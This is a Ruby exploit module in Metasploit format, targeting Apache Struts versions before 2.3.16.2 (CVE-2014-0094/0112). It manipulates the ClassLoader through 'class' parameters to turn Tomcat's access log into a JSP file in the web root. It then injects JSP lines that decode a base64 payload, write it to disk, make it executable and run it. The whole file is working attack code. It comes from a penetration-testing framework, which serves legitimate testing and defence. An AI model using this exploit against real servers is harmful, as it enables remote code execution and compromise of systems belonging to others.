##
# This module requires Metasploit: http//metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::EXE
  include Msf::Exploit::FileDropper

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'Apache Struts ClassLoader Manipulation Remote Code Execution',
      'Description'    => %q{
        This module exploits a remote command execution vulnerability in Apache Struts
        versions < 2.3.16.2. This issue is caused because the ParametersInterceptor allows
        access to 'class' parameter which is directly mapped to getClass() method and
        allows ClassLoader manipulation, which allows remote attackers to execute arbitrary
        Java code via crafted parameters.
      },
      'Author'         =>
        [
          'Mark Thomas', # Vulnerability Discovery
          'Przemyslaw Celej', # Vulnerability Discovery
          'pwntester <alvaro[at]pwntester.com>', # PoC
          'Redsadic <julian.vilas[at]gmail.com>' # Metasploit Module
        ],
      'License'        => MSF_LICENSE,
      'References'     =>
        [
          [ 'CVE', '2014-0094'],
          [ 'CVE', '2014-0112'],
          [ 'URL', 'http://www.pwntester.com/blog/2014/04/24/struts2-0day-in-the-wild/'],
          [ 'URL', 'http://struts.apache.org/release/2.3.x/docs/s2-020.html']
        ],
      'Platform'      => %w{ linux win },
      'Privileged'     => true,
      'Targets'        =>
        [
          ['Windows Universal',
            {
              'Arch' => ARCH_X86,
              'Platform' => 'w'
            }
          ],
          ['Linux Universal',
            {
              'Arch' => ARCH_X86,
              'Platform' => 'linux'
            }
          ],
          [ 'Java Universal',
            {
              'Arch' => ARCH_JAVA,
              'Platform' => ['win','linux']
            },
          ]
        ],
      'DisclosureDate' => 'Mar 06 2014',
      'DefaultTarget' => 2))

      register_options(
        [
          Opt::RPORT(8080),
          OptString.new('TARGETURI', [ true, 'The path to a struts application action', "/hello_world/hello.action"])
    ], self.class)
  end


  def exec_cmd(uri, cmd = "")
    resp = send_request_cgi({
            'uri'     => uri+cmd,
            'version' => '1.1',
            'method'  => 'GET',
    })

    return resp
  end


  def is_log_flushed(resp, content)
    return (resp.headers["Content-Length"] != "0") && (resp.body =~ /#{content}/)
  end


  def exploit

    prefix_jsp = rand_text_alphanumeric(3+rand(3))
    date_format = rand_text_numeric(1+rand(4))

    vprint_status("#{peer} - Modifying class loader")

    # Modifies classLoader parameters
    exec_cmd("#{datastore['TARGETURI']}?class['classLoader'].resources.context.parent.pipeline.first.directory=webapps/ROOT") # Directory where log file os going to be created
    exec_cmd("#{datastore['TARGETURI']}?class['classLoader'].resources.context.parent.pipeline.first.prefix=#{prefix_jsp}") # Filename
    exec_cmd("#{datastore['TARGETURI']}?class['classLoader'].resources.context.parent.pipeline.first.suffix=.jsp") # File extension
    exec_cmd("#{datastore['TARGETURI']}?class['classLoader'].resources.context.parent.pipeline.first.fileDateFormat=#{date_format}") # second part of filename: "prefix+fileDateFormat.suffix"

    jsp_file = prefix_jsp
    jsp_file << date_format
    jsp_file << ".jsp"

    # Wait till the log is created
    uri = "/"
    uri << jsp_file

    created = false

    print_status("#{peer} - Waiting for the server to create the logfile")

    10.times do |x|
      select(nil, nil, nil, 2)

      # Now make a request to trigger payload
      vprint_status("#{peer} - Countdown #{10-x}...")
      res = exec_cmd(uri)
      # Failure. The request timed out or the server went away.
      if res.nil?
        print_error("#{peer} - Not received response")
        return
      end
      # Success if the server has flushed all the sent commands to the jsp file
      if res.code == 200
        vprint_good("#{peer} - created file at http://#{peer}/#{jsp_file}")
        created = true
        break
      end
    end

    unless created
      print_error("#{peer} - No log file was created")
      return
    end


    if target['Arch'] == ARCH_JAVA
      payload_exe = payload.encoded
    else
      payload_exe = generate_payload_exe
    end

    payload_file = rand_text_alphanumeric(4+rand(4))
    payload_file << ".jsp" if (target['Arch'] == ARCH_JAVA)
    register_files_for_cleanup("#{payload_file}", "#{jsp_file}")

    # Inexistent URI that logs on previously created log file (with ".jsp" suffix)
    uri = String.new(datastore['TARGETURI'])
    uri << payload_file

    vprint_status("#{peer} - Dumping payload into the logfile")

    # Commands to be logged
    exec_cmd(uri, "<%@ page import=\"java.io.FileOutputStream\" %>")
    exec_cmd(uri, "<%@ page import=\"sun.misc.BASE64Decoder\" %>")
    exec_cmd(uri, "<%@ page import=\"java.io.File\" %>")

    exec_cmd(uri, "<% FileOutputStream oFile = new FileOutputStream(\"#{payload_file}\", false); %>")
    exec_cmd(uri, "<% oFile.write(new sun.misc.BASE64Decoder().decodeBuffer(\"#{Rex::Text.encode_base64(payload_exe)}\")); %>")
    exec_cmd(uri, "<% oFile.flush(); %>")
    exec_cmd(uri, "<% oFile.close(); %>")

    if target['Arch'] != ARCH_JAVA
      exec_cmd(uri, "<% File f = new File(\"#{payload_file}\"); %>")
      exec_cmd(uri, "<% f.setExecutable(true); %>")
      exec_cmd(uri, "<% Runtime.getRuntime().exec(\"./#{payload_file}\"); %>")
    end

    uri = "/"
    uri << jsp_file

    flushed = false

    print_status("#{peer} - Waiting for the server to flush the logfile")

    10.times do |x|
      select(nil, nil, nil, 2)

      # Now make a request to trigger payload
      vprint_status("#{peer} - Countdown #{10-x}...")
      res = exec_cmd(uri)
      # Failure. The request timed out or the server went away.
      if res.nil?
        print_error("#{peer} - Not received response")
        return
      end
      # Success if the server has flushed all the sent commands to the jsp file
      if res.code == 200 && is_log_flushed(res, payload_file)
        flushed = true
        break
      end
    end

    unless flushed
      print_error("#{peer} - Log not flushed on time")
      return
    end

    exec_cmd("/#{payload_file}") if (target['Arch'] == ARCH_JAVA)

  end

end